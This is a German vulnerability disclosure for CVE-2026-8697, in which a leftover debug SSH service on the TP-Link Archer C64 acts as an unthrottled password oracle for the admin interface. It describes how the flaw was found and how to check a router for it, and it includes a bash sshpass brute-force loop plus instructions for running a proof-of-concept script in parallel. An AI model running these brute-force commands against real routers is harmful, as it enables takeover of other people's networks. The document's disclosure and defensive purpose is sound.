CVE-2026-8697: Umgehung des Login-Rate-Limits auf dem TP-Link Archer C64

CVE-2026-8697 ist ein logischer Fehler im Betriebssystem des TP-Link Archer C64 (in der Debug-Nachricht als TPOS bezeichnet). Er ermöglicht es jedem unprivilegierten Benutzer, der mit dem Router verbunden ist, das Rate-Limit der Weboberfläche zu umgehen, indem er einen hinterlassenen SSH-Dienst nutzt. Ein einfaches Python-Skript kann verwendet werden, um in kurzer Zeit viele Passwörter auszuprobieren und vollen Administratorzugriff auf den Router zu erhalten.

POC: poc.py

Der Router verfügt über einen Debug-SSH-Dienst, der keine Shell auf dem Router gewährt, sondern lediglich beendet, wenn das richtige Passwort eingegeben wurde. Er verwendet jedoch dasselbe Passwort wie die Administrationsoberfläche und hat weder Rate-Limits noch Sperrrichtlinien. Daher kann er als Hochgeschwindigkeits-Authentifizierungs-Orakel verwendet werden, um das Passwort per Brute-Force zu erraten. Diese Schwachstelle kann von böswilligen oder kompromittierten IoT-Geräten im Netzwerk ausgenutzt werden, um vollen Administratorzugriff auf den Router zu erlangen. Ein Angreifer kann über diese Schnittstelle keinen Shell-Zugriff erlangen, aber er kann leicht Anmeldeinformationen überprüfen, um die primäre Webbenutzeroberfläche zu kompromittieren.

Diese Schwachstelle wurde in der Firmware-Version 1.15.0 behoben, die den Dienst einfach entfernt. Um Ihren Router zu testen, verwenden Sie diesen Befehl (Linux/macOS):

timeout 10 nc -vz 192.168.0.1 22
echo $?

Ersetzen Sie die IP-Adresse durch die Adresse, die Sie zum Verbinden mit der Weboberfläche des Routers verwenden. Wenn die Ausgabe 0 ist oder succeeded! anzeigt, dann ist Ihr Router anfällig. Andernfalls ist er es nicht. Unter Windows führen Sie Folgendes in PowerShell aus:

tnc 192.168.0.1 -Port 22

Wenn TcpTestSucceeded : True angezeigt wird, ist Ihr Router anfällig. Wenn er auf unbestimmte Zeit hängt oder False anzeigt, ist er nicht anfällig.

Der Fehler ist rein logikbasiert und erfordert keine Speicherkorruption, ASLR-Umgehung oder das Gewinnen von Race-Conditions.

Entdeckung und Reproduktion

Zu dieser Zeit lernte ich Nmap und beschloss aus Spaß, meinen Router zu scannen. Ich suchte damals nicht nach Schwachstellen, bemerkte jedoch einen offenen SSH-Dienst.

$ sudo nmap -A -T4 192.168.0.1
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600
Nmap scan report for 192.168.0.1
Host is up (0.0028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 6.6.0 (protocol 2.0)
| ssh-hostkey: 
|_  1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA)
53/tcp  open  tcpwrapped
80/tcp  open  http       TP-LINK router http config
|_http-title: Opening...
443/tcp open  ssl/https?
| ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN
| Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1
| Not valid before: 2010-01-01T00:00:00
|_Not valid after:  2030-12-31T00:00:00
|_ssl-date: TLS randomness does not represent time
MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

Das obige Protokoll zeigt einen SSH-Dienst, der OpenSSH 6.6.0 ausführt (eine veraltete Version von 2014, aber die Version spielt hier keine Rolle). Angesichts der sehr alten Version vermutete ich, dass sie von einem Angreifer genutzt werden könnte, und versuchte, eine SSH-Verbindung herzustellen, um eine Shell zu erhalten und die Firmware zu aktualisieren. Zu diesem Zeitpunkt versuchte ich, meinen Router zu sichern, nicht Schwachstellen zu finden. Die Verbindung stellte mich jedoch vor ein interessantes Problem: Die Host-Key- und Public-Key-Algorithmen wurden von meiner OpenSSH-Version nicht unterstützt. Auch die Verwendung von -o funktionierte auf meinem System nicht, also musste ich einen debian:bullseye-slim-Container verwenden, der einen OpenSSH-Client mit Unterstützung für die Algorithmen diffie-hellman-group14-sha1 und ssh-dss besitzt.

Im Container konnte ich nach der Installation des OpenSSH-Clients eine Verbindung zum SSH-Server herstellen.

ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
    -o HostKeyAlgorithms=+ssh-dss [email protected]

Ich verwendete dies und konnte schließlich eine Verbindung zum SSH-Server herstellen, der mich mit der Meldung TPOS 5 IPSSH Test und einer Passwortaufforderung begrüßte. Nach Eingabe des Passworts wurde die Verbindung jedoch sofort geschlossen. Ich versuchte sogar, direkt einen Befehl auszuführen, aber der Befehl wurde nicht ausgeführt. Mir wurde klar, dass es keine Shell gab, ein Angreifer also keinen Zugriff auf meinen Router erlangen konnte. Also ist mein Router sicher, oder? Nun ja, nicht wirklich. Mir wurde klar, dass man zwar keinen Zugriff erhält, aber doch erfährt, ob das Passwort richtig ist oder nicht. Und dieses Passwort war dasselbe wie das der Weboberfläche, und es gab absolut keine Rate-Limits oder irgendetwas, um einen Brute-Force-Angriff zu stoppen. Da kam mir die Idee, dies in eine CVE zu verwandeln. Ich versuchte, den Angriff zu automatisieren. Zuerst versuchte ich sshpass in einer Bash-Schleife zu verwenden, aber man konnte nicht mehrere Passwörter pro Verbindung verwenden, also versuchte ich, ein Python-Skript zu schreiben. Das ist der beigefügte POC.

Um den POC zu verwenden, erstellen Sie zunächst ein venv und installieren Sie pexpect. Beachten Sie, dass das Skript nicht das pxssh-Modul von Pexpect verwendet, da es das Ausprobieren mehrerer Passwörter in einer einzigen Verbindung nicht unterstützt.

python3 -m venv venv
source venv/bin/activate
pip install pexpect

Speichern Sie das Skript als poc.py und führen Sie es aus. Sie können optional einen Pfad zu einer zeilengetrennten Passwortliste als erstes Argument übergeben. Wenn Sie dies nicht tun, werden die Zahlen von 1 bis 100 als Passwörter verwendet (für Geschwindigkeitstests).

python3 poc.py list.txt

Sie können den Angriff parallelisieren, indem Sie mehrere Instanzen mit verschiedenen Listen ausführen. Wenn Sie mehr als 3 Instanzen ausführen, treten Verbindungsfehler auf. Das Skript stellt dennoch sicher, dass alle Passwörter ausprobiert werden.

python3 poc.py list1.txt &
python3 poc.py list2.txt &
python3 poc.py list3.txt &

Mögliche Auswirkungen

Ein Angreifer kann ein bösartiges oder kompromittiertes IoT-Gerät im Netzwerk verwenden, um das Passwort per Brute-Force zu erraten und Administratorzugriff auf die Administrationsoberfläche zu erlangen. Es gibt keinen Hinweis für den Benutzer, dass dies geschieht, und der Angreifer kann dies über einen langen Zeitraum tun, ohne entdeckt zu werden. Sobald der Angreifer Zugriff auf die Administrationsoberfläche hat, kann er die DNS-Einstellungen ändern, um DNS-Hijacking durchzuführen, das Wi-Fi-Passwort ändern, um Benutzer auszusperren, statisches Routing verwenden, um unverschlüsselten Datenverkehr abzufangen oder den Netzwerkzugriff zu blockieren, indem er auf eine nicht existierende IP weiterleitet, Ports weiterleiten, die Firewall/ALG deaktivieren und mehr.

CVSS 4.0

Der CVSS 4.0-Angriffsvektor für diese Schwachstelle ist:

CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H

, was zu einer Punktzahl von 9.3 Kritisch führt. Meine Begründung für jede Metrik ist wie folgt:

• Angriffsvektor (AV): Angrenzend (A) Der Angreifer muss mit dem Wi-Fi-Netzwerk verbunden sein, um dies auszunutzen.
• Angriffskomplexität (AC): Niedrig (L) Der Angriff ist unkompliziert und erfordert keine besonderen Bedingungen. Eine grundlegende Implementierung des Angriffs kann wie folgt aussehen:

while read pass;do
    sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 [email protected]
    if [ $? -eq 0 ]; then
        echo "Password found: $PASS"
        break
    fi
done < list.txt

(Beachten Sie, dass dies langsamer als das POC-Skript ist, da es nicht mehrere Passwörter pro Verbindung ausprobiert.)

• Angriffsvoraussetzungen (AT): Keine (N) Dies ist ein rein logikbasierter Fehler und erfordert keine Bedingungen wie das Gewinnen einer Race-Condition.
• Erforderliche Privilegien (PR): Keine (N) Es sind keine besonderen Privilegien erforderlich. Beachten Sie, dass die Anforderung, mit dem Wi-Fi-Netzwerk verbunden zu sein, bereits in AV:A erfasst ist.
• Benutzerinteraktion (UI): Keine (N) Der Angriff kann ohne Benutzerinteraktion durchgeführt werden.
• Vertraulichkeit, Integrität und Verfügbarkeit des verwundbaren Systems (VC, VI, VA): Hoch (H) Der Angreifer erhält vollen Administratorzugriff auf den Router, was eine vollständige Kompromittierung der Vertraulichkeit und Integrität des Routers darstellt. Der Angreifer kann den Router auf viele Arten unbrauchbar machen und physischen Zugriff erfordern, um ihn zu reparieren (z. B. durch Verwendung der Zugriffskontrollfunktion, um nur einer nicht existierenden MAC-Adresse den Zugriff auf die Administrationsoberfläche zu erlauben, Wi-Fi zu deaktivieren und die Internet-Einstellungen zu ändern, um den Internetzugang zu unterbrechen).
• Vertraulichkeit und Integrität nachgelagerter Systeme (SC, SI): Niedrig (L) Der Angreifer kann Datenverkehr mit verschiedenen Methoden abfangen (z. B. DNS-Änderung, statisches Routing), daher ist es nicht None. In Anbetracht der Tatsache, dass der meiste Datenverkehr verschlüsselt ist, ist die Auswirkung auf das nachgelagerte System jedoch begrenzt. (Obwohl ich mir unsicher bin, ob dies Hoch oder Niedrig sein sollte.)
• Verfügbarkeit nachgelagerter Systeme (SA): Hoch (H) Der Angreifer kann den Internetzugang aller mit dem Router verbundenen Geräte leicht unterbrechen.

CVSS 4.0-Analyse und Abweichung

Der Hersteller (TP-Link) hat diese Schwachstelle mit einer Punktzahl von 8.7 (Hoch) veröffentlicht, mit dem Vektor: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Diese Forschung argumentiert jedoch, dass die Auswirkung auf nachgelagerte Systeme nicht als "None" bewertet werden sollte. Da der Router als primäres Gateway für alle verbundenen Geräte fungiert:

1. Verfügbarkeit nachgelagerter Systeme (SA:H): Administratorzugriff ermöglicht es einem Angreifer, den Internetzugang für alle verbundenen Geräte dauerhaft zu blockieren.
2. Integrität/Vertraulichkeit nachgelagerter Systeme (SI:L/SC:L): DNS-Hijacking und Routingmanipulation ermöglichen aktive Verkehrsumleitung und Metadatenerfassung.

Daher ist eine genauere Darstellung des Risikos für das Heimnetzwerk 9.3/Kritisch, wie oben erörtert.

Gegenmaßnahmen

Die Aktualisierung der Router-Firmware auf 1.15.0 Build 250729 oder später wird dies beheben.

Koordinierte Offenlegung (Zeitplan)

Referenzen

• Sicherheitshinweis
• CVE-Eintrag

Diese Schwachstelle wurde von Tanjim Kamal entdeckt und gemeldet.

• Website: tanjim.org
• GitHub: itzmetanjim
• Email: [email protected]